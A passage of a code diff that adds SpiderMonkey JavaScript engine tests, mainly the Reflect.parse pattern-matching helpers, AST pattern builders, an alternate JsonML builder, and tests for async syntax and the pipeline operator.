@@ -0,0 +1,22 @@
+const BUGNUMBER = 1405943;
+const summary = "Implement pipeline operator (type error)";
+
+print(BUGNUMBER + ": " + summary);
+
+if (hasPipeline()) {
+ // Type error
+ eval(`
+ assertThrowsInstanceOf(() => 10 |> 10, TypeError);
+ assertThrowsInstanceOf(() => 10 |> "foo", TypeError);
+ assertThrowsInstanceOf(() => 10 |> null, TypeError);
+ assertThrowsInstanceOf(() => 10 |> undefined, TypeError);
+ assertThrowsInstanceOf(() => 10 |> true, TypeError);
+ assertThrowsInstanceOf(() => 10 |> { a: 1 }, TypeError);
+ assertThrowsInstanceOf(() => 10 |> [ 0, 1 ], TypeError);
+ assertThrowsInstanceOf(() => 10 |> /regexp/, TypeError);
+ assertThrowsInstanceOf(() => 10 |> Symbol(), TypeError);
+ `);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/reflect-parse/Match.js b/js/src/tests/non262/reflect-parse/Match.js
new file mode 100644
index 0000000000..2a14d8a315
--- /dev/null
+++ b/js/src/tests/non262/reflect-parse/Match.js
@@ -0,0 +1,242 @@
+// |reftest| skip
+
+// A little pattern-matching library.
+var Match =
+
+(function() {
+
+ function Pattern(template) {
+ // act like a constructor even as a function
+ if (!(this instanceof Pattern))
+ return new Pattern(template);
+
+ this.template = template;
+ }
+
+ Pattern.prototype = {
+ match: function(act) {
+ return match(act, this.template);
+ },
+
+ matches: function(act) {
+ try {
+ return this.match(act);
+ }
+ catch (e) {
+ if (!(e instanceof MatchError))
+ throw e;
+ return false;
+ }
+ },
+
+ assert: function(act, message) {
+ try {
+ return this.match(act);
+ }
+ catch (e) {
+ if (!(e instanceof MatchError))
+ throw e;
+ throw new Error((message || "failed match") + ": " + e.message);
+ }
+ },
+
+ toString: () => "[object Pattern]"
+ };
+
+ Pattern.ANY = new Pattern;
+ Pattern.ANY.template = Pattern.ANY;
+
+ Pattern.NUMBER = new Pattern;
+ Pattern.NUMBER.match = function (act) {
+ if (typeof act !== 'number') {
+ throw new MatchError("Expected number, got: " + quote(act));
+ }
+ }
+
+ Pattern.NATURAL = new Pattern
+ Pattern.NATURAL.match = function (act) {
+ if (typeof act !== 'number' || act !== Math.floor(act) || act < 0) {
+ throw new MatchError("Expected natural number, got: " + quote(act));
+ }
+ }
+
+ class ObjectWithExactly extends Pattern {
+ constructor(template) {
+ super(template);
+ }
+
+ match(actual) {
+ return matchObjectWithExactly(actual, this.template)
+ }
+ }
+
+ Pattern.OBJECT_WITH_EXACTLY = function (template) {
+ return new ObjectWithExactly(template);
+ }
+
+ var quote = JSON.stringify;
+
+ class MatchError extends Error {
+ toString() {
+ return "match error: " + this.message;
+ }
+ };
+
+ Pattern.MatchError = MatchError;
+
+ function isAtom(x) {
+ return (typeof x === "number") ||
+ (typeof x === "string") ||
+ (typeof x === "boolean") ||
+ (x === null) ||
+ (x === undefined) ||
+ (typeof x === "object" && x instanceof RegExp) ||
+ (typeof x === "bigint");
+ }
+
+ function isObject(x) {
+ return (x !== null) && (typeof x === "object");
+ }
+
+ function isFunction(x) {
+ return typeof x === "function";
+ }
+
+ function isArrayLike(x) {
+ return isObject(x) && ("length" in x);
+ }
+
+ function matchAtom(act, exp) {
+ if ((typeof exp) === "number" && isNaN(exp)) {
+ if ((typeof act) !== "number" || !isNaN(act))
+ throw new MatchError("expected NaN, got: " + quote(act));
+ return true;
+ }
+
+ if (exp === null) {
+ if (act !== null)
+ throw new MatchError("expected null, got: " + quote(act));
+ return true;
+ }
+
+ if (exp instanceof RegExp) {
+ if (!(act instanceof RegExp) || exp.source !== act.source)
+ throw new MatchError("expected " + quote(exp) + ", got: " + quote(act));
+ return true;
+ }
+
+ switch (typeof exp) {
+ case "string":
+ case "undefined":
+ if (act !== exp)
+ throw new MatchError("expected " + quote(exp) + ", got " + quote(act));
+ return true;
+ case "boolean":
+ case "number":
+ case "bigint":
+ if (exp !== act)
+ throw new MatchError("expected " + exp + ", got " + quote(act));
+ return true;
+ }
+
+ throw new Error("bad pattern: " + JSON.stringify(exp));
+ }
+
+ // Match an object having at least the expected properties.
+ function matchObjectWithAtLeast(act, exp) {
+ if (!isObject(act))
+ throw new MatchError("expected object, got " + quote(act));
+
+ for (var key in exp) {
+ if (!(key in act))
+ throw new MatchError("expected property " + quote(key) + " not found in " + quote(act));
+ try {
+ match(act[key], exp[key]);
+ } catch (inner) {
+ if (!(inner instanceof MatchError)) {
+ throw inner;
+ }
+ inner.message = `matching property "${String(key)}":\n${inner.message}`;
+ throw inner;
+ }
+ }
+
+ return true;
+ }
+
+ // Match an object having all the expected properties and no more.
+ function matchObjectWithExactly(act, exp) {
+ matchObjectWithAtLeast(act, exp);
+
+ for (var key in act) {
+ if (!(key in exp)) {
+ throw new MatchError("unexpected property " + quote(key));
+ }
+ }
+
+ return true;
+ }
+
+ function matchFunction(act, exp) {
+ if (!isFunction(act))
+ throw new MatchError("expected function, got " + quote(act));
+
+ if (act !== exp)
+ throw new MatchError("expected function: " + exp +
+ "\nbut got different function: " + act);
+ }
+
+ function matchArray(act, exp) {
+ if (!isObject(act) || !("length" in act))
+ throw new MatchError("expected array-like object, got " + quote(act));
+
+ var length = exp.length;
+ if (act.length !== exp.length)
+ throw new MatchError("expected array-like object of length " + length + ", got " + quote(act));
+
+ for (var i = 0; i < length; i++) {
+ if (i in exp) {
+ if (!(i in act))
+ throw new MatchError("expected array property " + i + " not found in " + quote(act));
+ try {
+ match(act[i], exp[i]);
+ } catch (inner) {
+ if (!(inner instanceof MatchError)) {
+ throw inner;
+ }
+ inner.message = `matching array element [${i}]:\n${inner.message}`;
+ throw inner;
+ }
+ }
+ }
+
+ return true;
+ }
+
+ function match(act, exp) {
+ if (exp === Pattern.ANY)
+ return true;
+
+ if (exp instanceof Pattern)
+ return exp.match(act);
+
+ if (isAtom(exp))
+ return matchAtom(act, exp);
+
+ if (isArrayLike(exp))
+ return matchArray(act, exp);
+
+ if (isFunction(exp))
+ return matchFunction(act, exp);
+
+ if (isObject(exp))
+ return matchObjectWithAtLeast(act, exp);
+
+ throw new Error("bad pattern: " + JSON.stringify(exp));
+ }
+
+ return { Pattern: Pattern,
+ MatchError: MatchError };
+
+})();
+
diff --git a/js/src/tests/non262/reflect-parse/PatternAsserts.js b/js/src/tests/non262/reflect-parse/PatternAsserts.js
new file mode 100644
index 0000000000..1be20d2812
--- /dev/null
+++ b/js/src/tests/non262/reflect-parse/PatternAsserts.js
@@ -0,0 +1,95 @@
+// |reftest| skip
+
+loadRelativeToScript('PatternBuilders.js');
+
+function localSrc(src) {
+ return "(function(){ " + src + " })";
+}
+function localPatt(patt) {
+ return program([exprStmt(funExpr(null, [], blockStmt([patt])))]);
+}
+function blockSrc(src) {
+ return "(function(){ { " + src + " } })";
+}
+function blockPatt(patt) {
+ return program([exprStmt(funExpr(null, [], blockStmt([blockStmt([patt])])))]);
+}
+
+function assertBlockStmt(src, patt) {
+ blockPatt(patt).assert(Reflect.parse(blockSrc(src)));
+}
+
+function assertBlockExpr(src, patt) {
+ assertBlockStmt(src, exprStmt(patt));
+}
+
+function assertBlockDecl(src, patt, builder) {
+ blockPatt(patt).assert(Reflect.parse(blockSrc(src), {builder: builder}));
+}
+
+function assertLocalStmt(src, patt) {
+ localPatt(patt).assert(Reflect.parse(localSrc(src)));
+}
+
+function assertLocalExpr(src, patt) {
+ assertLocalStmt(src, exprStmt(patt));
+}
+
+function assertLocalDecl(src, patt) {
+ localPatt(patt).assert(Reflect.parse(localSrc(src)));
+}
+
+function assertGlobalStmt(src, patt, builder) {
+ program([patt]).assert(Reflect.parse(src, {builder: builder}));
+}
+
+function assertStringExpr(src, patt) {
+ program([exprStmt(patt)]).assert(Reflect.parse(src));
+}
+
+function assertGlobalExpr(src, patt, builder) {
+ program([exprStmt(patt)]).assert(Reflect.parse(src, {builder: builder}));
+ //assertStmt(src, exprStmt(patt));
+}
+
+function assertGlobalDecl(src, patt) {
+ program([patt]).assert(Reflect.parse(src));
+}
+
+function assertProg(src, patt) {
+ program(patt).assert(Reflect.parse(src));
+}
+
+function assertStmt(src, patt) {
+ assertLocalStmt(src, patt);
+ assertGlobalStmt(src, patt);
+ assertBlockStmt(src, patt);
+}
+
+function assertInFunctionExpr(src, patt) {
+ assertLocalExpr(src, patt);
+ assertBlockExpr(src, patt);
+}
+
+function assertExpr(src, patt) {
+ assertLocalExpr(src, patt);
+ assertGlobalExpr(src, patt);
+ assertBlockExpr(src, patt);
+}
+
+function assertDecl(src, patt) {
+ assertLocalDecl(src, patt);
+ assertGlobalDecl(src, patt);
+ assertBlockDecl(src, patt);
+}
+
+function assertError(src, errorType) {
+ try {
+ Reflect.parse(src);
+ } catch (expected) {
+ if (!(expected instanceof errorType))
+ throw expected;
+ return;
+ }
+ throw new Error("expected " + errorType.name + " for " + JSON.stringify(src));
+}
diff --git a/js/src/tests/non262/reflect-parse/PatternBuilders.js b/js/src/tests/non262/reflect-parse/PatternBuilders.js
new file mode 100644
index 0000000000..e1ad9c046f
--- /dev/null
+++ b/js/src/tests/non262/reflect-parse/PatternBuilders.js
@@ -0,0 +1,287 @@
+// |reftest| skip
+
+loadRelativeToScript('Match.js');
+
+var { Pattern, MatchError } = Match;
+
+function program(elts) {
+ return Pattern({ type: "Program", body: elts });
+}
+function exprStmt(expr) {
+ return Pattern({ type: "ExpressionStatement", expression: expr });
+}
+function throwStmt(expr) {
+ return Pattern({ type: "ThrowStatement", argument: expr });
+}
+function returnStmt(expr) {
+ return Pattern({ type: "ReturnStatement", argument: expr });
+}
+function yieldExpr(expr) {
+ return Pattern({ type: "YieldExpression", argument: expr });
+}
+function lit(val) {
+ return Pattern({ type: "Literal", value: val });
+}
+function comp(name) {
+ return Pattern({ type: "ComputedName", name: name });
+}
+function spread(val) {
+ return Pattern({ type: "SpreadExpression", expression: val});
+}
+function optExpr(val) {
+ return Pattern({ type: "OptionalExpression", expression: val});
+}
+function delOptExpr(val) {
+ return Pattern({ type: "DeleteOptionalExpression", expression: val});
+}
+var thisExpr = Pattern({ type: "ThisExpression" });
+function funDecl(id, params, body, defaults=[], rest=null) {
+ return Pattern({ type: "FunctionDeclaration",
+ id: id,
+ params: params,
+ defaults: defaults,
+ body: body,
+ rest: rest,
+ generator: false });
+}
+function genFunDecl(style, id, params, body) {
+ return Pattern({ type: "FunctionDeclaration",
+ id: id,
+ params: params,
+ defaults: [],
+ body: body,
+ generator: true,
+ style: style });
+}
+function asyncFunDecl(id, params, body) {
+ return Pattern({ type: "FunctionDeclaration",
+ id: id,
+ params: params,
+ defaults: [],
+ body: body,
+ generator: false,
+ async: true });
+}
+function varDecl(decls) {
+ return Pattern({ type: "VariableDeclaration", declarations: decls, kind: "var" });
+}
+function letDecl(decls) {
+ return Pattern({ type: "VariableDeclaration", declarations: decls, kind: "let" });
+}
+function constDecl(decls) {
+ return Pattern({ type: "VariableDeclaration", declarations: decls, kind: "const" });
+}
+function ident(name) {
+ return Pattern({ type: "Identifier", name: name });
+}
+function dotExpr(obj, id) {
+ return Pattern({ type: "MemberExpression", computed: false, object: obj, property: id });
+}
+function memExpr(obj, id) {
+ return Pattern({ type: "MemberExpression", computed: true, object: obj, property: id });
+}
+function optDotExpr(obj, id) {
+ return Pattern({ type: "OptionalMemberExpression", computed: false, object: obj, property: id });
+}
+function optMemExpr(obj, id) {
+ return Pattern({ type: "OptionalMemberExpression", computed: true, object: obj, property: id });
+}
+function forStmt(init, test, update, body) {
+ return Pattern({ type: "ForStatement", init: init, test: test, update: update, body: body });
+}
+function forOfStmt(lhs, rhs, body) {
+ return Pattern({ type: "ForOfStatement", left: lhs, right: rhs, body: body });
+}
+function forInStmt(lhs, rhs, body) {
+ return Pattern({ type: "ForInStatement", left: lhs, right: rhs, body: body });
+}
+function breakStmt(lab) {
+ return Pattern({ type: "BreakStatement", label: lab });
+}
+function continueStmt(lab) {
+ return Pattern({ type: "ContinueStatement", label: lab });
+}
+function blockStmt(body) {
+ return Pattern({ type: "BlockStatement", body: body });
+}
+function literal(val) {
+ return Pattern({ type: "Literal", value: val });
+}
+var emptyStmt = Pattern({ type: "EmptyStatement" });
+function ifStmt(test, cons, alt) {
+ return Pattern({ type: "IfStatement", test: test, alternate: alt, consequent: cons });
+}
+function labStmt(lab, stmt) {
+ return Pattern({ type: "LabeledStatement", label: lab, body: stmt });
+}
+function withStmt(obj, stmt) {
+ return Pattern({ type: "WithStatement", object: obj, body: stmt });
+}
+function whileStmt(test, stmt) {
+ return Pattern({ type: "WhileStatement", test: test, body: stmt });
+}
+function doStmt(stmt, test) {
+ return Pattern({ type: "DoWhileStatement", test: test, body: stmt });
+}
+function switchStmt(disc, cases) {
+ return Pattern({ type: "SwitchStatement", discriminant: disc, cases: cases });
+}
+function caseClause(test, stmts) {
+ return Pattern({ type: "SwitchCase", test: test, consequent: stmts });
+}
+function defaultClause(stmts) {
+ return Pattern({ type: "SwitchCase", test: null, consequent: stmts });
+}
+function catchClause(id, body) {
+ return Pattern({ type: "CatchClause", param: id, body: body });
+}
+function tryStmt(body, handler, fin) {
+ return Pattern({ type: "TryStatement", block: body, handler: handler, finalizer: fin });
+}
+
+function superProp(id) {
+ return dotExpr(Pattern({ type: "Super" }), id);
+}
+function superElem(id) {
+ return memExpr(Pattern({ type: "Super" }), id);
+}
+
+function classStmt(id, heritage, body) {
+ return Pattern({ type: "ClassStatement",
+ id: id,
+ superClass: heritage,
+ body: body});
+}
+function classExpr(id, heritage, body) {
+ return Pattern({ type: "ClassExpression",
+ id: id,
+ superClass: heritage,
+ body: body});
+}
+function classMethod(id, body, kind, static) {
+ return Pattern({ type: "ClassMethod",
+ name: id,
+ body: body,
+ kind: kind,
+ static: static });
+}
+function classField(id, init) {
+ return Pattern({ type: "ClassField",
+ name: id,
+ init: init });
+}
+
+function funExpr(id, args, body, gen) {
+ return Pattern({ type: "FunctionExpression",
+ id: id,
+ params: args,
+ body: body,
+ generator: false });
+}
+function genFunExpr(style, id, args, body) {
+ return Pattern({ type: "FunctionExpression",
+ id: id,
+ params: args,
+ body: body,
+ generator: true,
+ style: style });
+}
+function asyncFunExpr(id, args, body) {
+ return Pattern({ type: "FunctionExpression",
+ id: id,
+ params: args,
+ body: body,
+ generator: false,
+ async: true });
+}
+function arrowExpr(args, body) {
+ return Pattern({ type: "ArrowFunctionExpression",
+ params: args,
+ body: body });
+}
+function asyncArrowExpr(isExpression, args, body) {
+ return Pattern({ type: "ArrowFunctionExpression",
+ params: args,
+ body: body,
+ generator: false,
+ async: true,
+ expression: isExpression });
+}
+
+function metaProperty(meta, property) {
+ return Pattern({ type: "MetaProperty",
+ meta: meta,
+ property: property });
+}
+function newTarget() {
+ return metaProperty(ident("new"), ident("target"));
+}
+
+function unExpr(op, arg) {
+ return Pattern({ type: "UnaryExpression", operator: op, argument: arg });
+}
+function binExpr(op, left, right) {
+ return Pattern({ type: "BinaryExpression", operator: op, left: left, right: right });
+}
+function aExpr(op, left, right) {
+ return Pattern({ type: "AssignmentExpression", operator: op, left: left, right: right });
+}
+function updExpr(op, arg, prefix) {
+ return Pattern({ type: "UpdateExpression", operator: op, argument: arg, prefix: prefix });
+}
+function logExpr(op, left, right) {
+ return Pattern({ type: "LogicalExpression", operator: op, left: left, right: right });
+}
+
+function condExpr(test, cons, alt) {
+ return Pattern({ type: "ConditionalExpression", test: test, consequent: cons, alternate: alt });
+}
+function seqExpr(exprs) {
+ return Pattern({ type: "SequenceExpression", expressions: exprs });
+}
+function newExpr(callee, args) {
+ return Pattern({ type: "NewExpression", callee: callee, arguments: args });
+}
+function callExpr(callee, args) {
+ return Pattern({ type: "CallExpression", callee: callee, arguments: args });
+}
+function optCallExpr(callee, args) {
+ return Pattern({ type: "OptionalCallExpression", callee: callee, arguments: args });
+}
+function superCallExpr(args) {
+ return callExpr({ type: "Super" }, args);
+}
+function arrExpr(elts) {
+ return Pattern({ type: "ArrayExpression", elements: elts });
+}
+function objExpr(elts) {
+ return Pattern({ type: "ObjectExpression", properties: elts });
+}
+function computedName(elts) {
+ return Pattern({ type: "ComputedName", name: elts });
+}
+function templateLit(elts) {
+ return Pattern({ type: "TemplateLiteral", elements: elts });
+}
+function taggedTemplate(tagPart, templatePart) {
+ return Pattern({ type: "TaggedTemplate", callee: tagPart, arguments : templatePart });
+}
+function template(raw, cooked, ...args) {
+ return Pattern([{ type: "CallSiteObject", raw: raw, cooked: cooked}, ...args]);
+}
+
+function arrPatt(elts) {
+ return Pattern({ type: "ArrayPattern", elements: elts });
+}
+function objPatt(elts) {
+ return Pattern({ type: "ObjectPattern", properties: elts });
+}
+
+function assignElem(target, defaultExpr = null, targetIdent = typeof target == 'string' ? ident(target) : target) {
+ return defaultExpr ? aExpr('=', targetIdent, defaultExpr) : targetIdent;
+}
+function assignProp(property, target, defaultExpr = null, shorthand = !target, targetProp = target || ident(property)) {
+ return Pattern({
+ type: "Property", key: ident(property), shorthand,
+ value: defaultExpr ? aExpr('=', targetProp, defaultExpr) : targetProp });
+}
diff --git a/js/src/tests/non262/reflect-parse/alternateBuilder.js b/js/src/tests/non262/reflect-parse/alternateBuilder.js
new file mode 100644
index 0000000000..4d869a7f7e
--- /dev/null
+++ b/js/src/tests/non262/reflect-parse/alternateBuilder.js
@@ -0,0 +1,215 @@
+// |reftest| skip-if(!xulRuntime.shell)
+// A simple proof-of-concept that the builder API can be used to generate other
+// formats, such as JsonMLAst:
+//
+// http://code.google.com/p/es-lab/wiki/JsonMLASTFormat
+//
+// It's incomplete (e.g., it doesn't convert source-location information and
+// doesn't use all the direct-eval rules), but I think it proves the point.
+
+function test() {
+
+var JsonMLAst = (function() {
+function reject() {
+ throw new SyntaxError("node type not supported");
+}
+
+function isDirectEval(expr) {
+ // an approximation to the actual rules. you get the idea
+ return (expr[0] === "IdExpr" && expr[1].name === "eval");
+}
+
+function functionNode(type) {
+ return function(id, args, body, isGenerator, isExpression) {
+ if (isExpression)
+ body = ["ReturnStmt", {}, body];
+
+ if (!id)
+ id = ["Empty"];
+
+ // Patch up the argument node types: s/IdExpr/IdPatt/g
+ for (var i = 0; i < args.length; i++) {
+ args[i][0] = "IdPatt";
+ }
+
+ args.unshift("ParamDecl", {});
+
+ return [type, {}, id, args, body];
+ }
+}
+
+return {
+ program: function(stmts) {
+ stmts.unshift("Program", {});
+ return stmts;
+ },
+ identifier: function(name) {
+ return ["IdExpr", { name: name }];
+ },
+ literal: function(val) {
+ return ["LiteralExpr", { value: val }];
+ },
+ expressionStatement: expr => expr,
+ conditionalExpression: function(test, cons, alt) {
+ return ["ConditionalExpr", {}, test, cons, alt];
+ },
+ unaryExpression: function(op, expr) {
+ return ["UnaryExpr", {op: op}, expr];
+ },
+ binaryExpression: function(op, left, right) {
+ return ["BinaryExpr", {op: op}, left, right];
+ },
+ property: function(kind, key, val) {
+ return [kind === "init"
+ ? "DataProp"
+ : kind === "get"
+ ? "GetterProp"
+ : "SetterProp",
+ {name: key[1].name}, val];
+ },
+ functionDeclaration: functionNode("FunctionDecl"),
+ variableDeclaration: function(kind, elts) {
+ if (kind === "let" || kind === "const")
+ throw new SyntaxError("let and const not supported");
+ elts.unshift("VarDecl", {});
+ return elts;
+ },
+ variableDeclarator: function(id, init) {
+ id[0] = "IdPatt";
+ if (!init)
+ return id;
+ return ["InitPatt", {}, id, init];
+ },
+ sequenceExpression: function(exprs) {
+ var length = exprs.length;
+ var result = ["BinaryExpr", {op:","}, exprs[exprs.length - 2], exprs[exprs.length - 1]];
+ for (var i = exprs.length - 3; i >= 0; i--) {
+ result = ["BinaryExpr", {op:","}, exprs[i], result];
+ }
+ return result;
+ },
+ assignmentExpression: function(op, lhs, expr) {
+ return ["AssignExpr", {op: op}, lhs, expr];
+ },
+ logicalExpression: function(op, left, right) {
+ return [op === "&&" ? "LogicalAndExpr" : "LogicalOrExpr", {}, left, right];
+ },
+ updateExpression: function(expr, op, isPrefix) {
+ return ["CountExpr", {isPrefix:isPrefix, op:op}, expr];
+ },
+ newExpression: function(callee, args) {
+ args.unshift("NewExpr", {}, callee);
+ return args;
+ },
+ callExpression: function(callee, args) {
+ args.unshift(isDirectEval(callee) ? "EvalExpr" : "CallExpr", {}, callee);
+ return args;
+ },
+ memberExpression: function(isComputed, expr, member) {
+ return ["MemberExpr", {}, expr, isComputed ? member : ["LiteralExpr", {type: "string", value: member[1].name}]];
+ },
+ functionExpression: functionNode("FunctionExpr"),
+ arrayExpression: function(elts) {
+ for (var i = 0; i < elts.length; i++) {
+ if (!elts[i])
+ elts[i] = ["Empty"];
+ }
+ elts.unshift("ArrayExpr", {});
+ return elts;
+ },
+ objectExpression: function(props) {
+ props.unshift("ObjectExpr", {});
+ return props;
+ },
+ thisExpression: function() {
+ return ["ThisExpr", {}];
+ },
+ templateLiteral: function(elts) {
+ for (var i = 0; i < elts.length; i++) {
+ if (!elts[i])
+ elts[i] = ["Empty"];
+ }
+ elts.unshift("TemplateLit", {});
+ return elts;
+ },
+
+ yieldExpression: reject,
+
+ emptyStatement: () => ["EmptyStmt", {}],
+ blockStatement: function(stmts) {
+ stmts.unshift("BlockStmt", {});
+ return stmts;
+ },
+ labeledStatement: function(lab, stmt) {
+ return ["LabelledStmt", {label: lab}, stmt];
+ },
+ ifStatement: function(test, cons, alt) {
+ return ["IfStmt", {}, test, cons, alt || ["EmptyStmt", {}]];
+ },
+ switchStatement: function(test, clauses, isLexical) {
+ clauses.unshift("SwitchStmt", {}, test);
+ return clauses;
+ },
+ whileStatement: function(expr, stmt) {
+ return ["WhileStmt", {}, expr, stmt];
+ },
+ doWhileStatement: function(stmt, expr) {
+ return ["DoWhileStmt", {}, stmt, expr];
+ },
+ forStatement: function(init, test, update, body) {
+ return ["ForStmt", {}, init || ["Empty"], test || ["Empty"], update || ["Empty"], body];
+ },
+ forInStatement: function(lhs, rhs, body) {
+ return ["ForInStmt", {}, lhs, rhs, body];
+ },
+ breakStatement: function(lab) {
+ return lab ? ["BreakStmt", {}, lab] : ["BreakStmt", {}];
+ },
+ continueStatement: function(lab) {
+ return lab ? ["ContinueStmt", {}, lab] : ["ContinueStmt", {}];
+ },
+ withStatement: function(expr, stmt) {
+ return ["WithStmt", {}, expr, stmt];
+ },
+ returnStatement: function(expr) {
+ return expr ? ["ReturnStmt", {}, expr] : ["ReturnStmt", {}];
+ },
+ tryStatement: function(body, handler, fin) {
+ var node = ["TryStmt", body, handler];
+ if (fin)
+ node.push(fin);
+ return node;
+ },
+ throwStatement: function(expr) {
+ return ["ThrowStmt", {}, expr];
+ },
+ debuggerStatement: () => ["DebuggerStmt", {}],
+ letStatement: reject,
+ switchCase: function(expr, stmts) {
+ if (expr)
+ stmts.unshift("SwitchCase", {}, expr);
+ else
+ stmts.unshift("DefaultCase", {});
+ return stmts;
+ },
+ catchClause: function(param, body) {
+ param[0] = "IdPatt";
+ return ["CatchClause", {}, param, body];
+ },
+
+ arrayPattern: reject,
+ objectPattern: reject,
+ propertyPattern: reject,
+};
+})();
+
+Pattern(["Program", {},
+ ["BinaryExpr", {op: "+"},
+ ["LiteralExpr", {value: 2}],
+ ["BinaryExpr", {op: "*"},
+ ["UnaryExpr", {op: "-"}, ["IdExpr", {name: "x"}]],
+ ["IdExpr", {name: "y"}]]]]).match(Reflect.parse("2 + (-x * y)", {loc: false, builder: JsonMLAst}));
+
+}
+
+runtest(test);
diff --git a/js/src/tests/non262/reflect-parse/async.js b/js/src/tests/non262/reflect-parse/async.js
new file mode 100644
index 0000000000..355f0356c5
--- /dev/null
+++ b/js/src/tests/non262/reflect-parse/async.js
@@ -0,0 +1,25 @@
+// |reftest| skip-if(!xulRuntime.shell)
+
+// async function declaration.
+assertDecl("async function foo() {}", asyncFunDecl(ident("foo"), [], blockStmt([])));
+
+// async function expression.
+assertExpr("(async function() {})", asyncFunExpr(null, [], blockStmt([])));
+assertExpr("(async function foo() {})", asyncFunExpr(ident("foo"), [], blockStmt([])));
+
+// async arrow.
+assertExpr("async a => 1", asyncArrowExpr(true, [ident("a")], literal(1)));
+assertExpr("async a => { 1 }", asyncArrowExpr(false, [ident("a")], blockStmt([exprStmt(literal(1))])));
+assertExpr("async a => { return 1 }", asyncArrowExpr(false, [ident("a")], blockStmt([returnStmt(literal(1))])));
+
+// async method.
+assertExpr("({ async foo() {} })", objExpr([{ key: ident("foo"), value: asyncFunExpr(ident("foo"), [], blockStmt([]))}]));
+
+assertStmt("class C { async foo() {} }", classStmt(ident("C"), null, [classMethod(ident("foo"), asyncFunExpr(ident("foo"), [], blockStmt([])), "method", false)]));
+assertStmt("class C { static async foo() {} }", classStmt(ident("C"), null, [classMethod(ident("foo"), asyncFunExpr(ident("foo"), [], blockStmt([])), "method", true)]));
+
+// await expression.
+assertDecl("async function foo() { await bar }", asyncFunDecl(ident("foo"), [], blockStmt([exprStmt(unExpr("await", ident("bar")))])));
+
+if (typeof reportCompare === 'function')
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/reflect-parse/basicBuilder.js b/js/src/tests/non262/reflect-parse/basicBuilder.js
new file mode 100644
index 0000000000..c724e2f7f5
--- /dev/null
+++ b/js/src/tests/non262/reflect-parse/basicBuilder.js
@@ -0,0 +1,54 @@
+// |reftest| skip-if(!xulRuntime.shell)
+function test() {
+// Builder tests
+
+Pattern("program").match(Reflect.parse("42", {builder:{program:() => "program"}}));
+
+assertGlobalStmt("throw 42", 1, { throwStatement: () => 1 });
+assertGlobalStmt("for (;;);", 2, { forStatement: () => 2 });
+assertGlobalStmt("for (x in y);", 3, { forInStatement: () => 3 });
+assertGlobalStmt("{ }", 4, { blockStatement: () => 4 });
+assertGlobalStmt("foo: { }", 5, { labeledStatement: () => 5 });
+assertGlobalStmt("with (o) { }", 6, { withStatement: () => 6 });
+assertGlobalStmt("while (x) { }", 7, { whileStatement: () => 7 });
+assertGlobalStmt("do { } while(false);", 8, { doWhileStatement: () => 8 });
+assertGlobalStmt("switch (x) { }", 9, { switchStatement: () => 9 });
+assertGlobalStmt("try { } catch(e) { }", 10, { tryStatement: () => 10 });
+assertGlobalStmt(";", 11, { emptyStatement: () => 11 });
+assertGlobalStmt("debugger;", 12, { debuggerStatement: () => 12 });
+assertGlobalStmt("42;", 13, { expressionStatement: () => 13 });
+assertGlobalStmt("for (;;) break", forStmt(null, null, null, 14), { breakStatement: () => 14 });
+assertGlobalStmt("for (;;) continue", forStmt(null, null, null, 15), { continueStatement: () => 15 });
+
+assertBlockDecl("var x", "var", { variableDeclaration: kind => kind });
+assertBlockDecl("let x", "let", { variableDeclaration: kind => kind });
+assertBlockDecl("const x = undefined", "const", { variableDeclaration: kind => kind });
+assertBlockDecl("function f() { }", "function", { functionDeclaration: () => "function" });
+
+assertGlobalExpr("(x,y,z)", 1, { sequenceExpression: () => 1 });
+assertGlobalExpr("(x ? y : z)", 2, { conditionalExpression: () => 2 });
+assertGlobalExpr("x + y", 3, { binaryExpression: () => 3 });
+assertGlobalExpr("delete x", 4, { unaryExpression: () => 4 });
+assertGlobalExpr("x = y", 5, { assignmentExpression: () => 5 });
+assertGlobalExpr("x || y", 6, { logicalExpression: () => 6 });
+assertGlobalExpr("x++", 7, { updateExpression: () => 7 });
+assertGlobalExpr("new x", 8, { newExpression: () => 8 });
+assertGlobalExpr("x()", 9, { callExpression: () => 9 });
+assertGlobalExpr("x.y", 10, { memberExpression: () => 10 });
+assertGlobalExpr("(function() { })", 11, { functionExpression: () => 11 });
+assertGlobalExpr("[1,2,3]", 12, { arrayExpression: () => 12 });
+assertGlobalExpr("({ x: y })", 13, { objectExpression: () => 13 });
+assertGlobalExpr("this", 14, { thisExpression: () => 14 });
+assertGlobalExpr("(function*() { yield 42 })", genFunExpr("es6", null, [], blockStmt([exprStmt(19)])), { yieldExpression: () => 19 });
+
+assertGlobalStmt("switch (x) { case y: }", switchStmt(ident("x"), [1]), { switchCase: () => 1 });
+assertGlobalStmt("try { } catch (e) { }", 2, { tryStatement: (b, h, f) => h, catchClause: () => 2 });
+assertGlobalStmt("try { } catch (e) { }", tryStmt(blockStmt([]), 2, null), { catchClause: () => 2 });
+
+assertGlobalExpr("({ x: y } = z)", aExpr("=", 1, ident("z")), { objectPattern: () => 1 });
+assertGlobalExpr("({ x: y } = z)", aExpr("=", objPatt([2]), ident("z")), { propertyPattern: () => 2 });
+assertGlobalExpr("[ x ] = y", aExpr("=", 3, ident("y")), { arrayPattern: () => 3 });
+
+}
+
+runtest(test);
diff --git a/js/src/tests/non262/reflect-parse/browser.js b/js/src/tests/non262/reflect-parse/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/reflect-parse/browser.js
diff --git a/js/src/tests/non262/reflect-parse/builderExceptions.js b/js/src/tests/non262/reflect-parse/builderExceptions.js
new file mode 100644
index 0000000000..d22ab473fe
--- /dev/null
+++ b/js/src/tests/non262/reflect-parse/builderExceptions.js
@@ -0,0 +1,15 @@
+// |reftest| skip-if(!xulRuntime.shell)
+// Ensure that exceptions thrown by builder methods propagate.
+var thrown = false;
+try {
+ Reflect.parse("42", { builder: { program: function() { throw "expected" } } });
+} catch (e) {
+ if (e !== "expected")
+ throw e;
+ thrown = true;
+}
+if (!thrown)
+ throw new Error("builder exception not propagated");
+
+if (typeof reportCompare === 'function')
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/reflect-parse/class-fields.js b/js/src/tests/non262/reflect-parse/class-fields.js
new file mode 100644
index 0000000000..aa6d09dbcf
--- /dev/null
+++ b/js/src/tests/non262/reflect-parse/class-fields.js
@@ -0,0 +1,26 @@
+// |reftest| skip-if(!xulRuntime.shell||(function(){try{eval('c=class{x;}');return(false);}catch{return(true);}})())
+// Classes
+function testClassFields() {
+ function constructor_(name) {
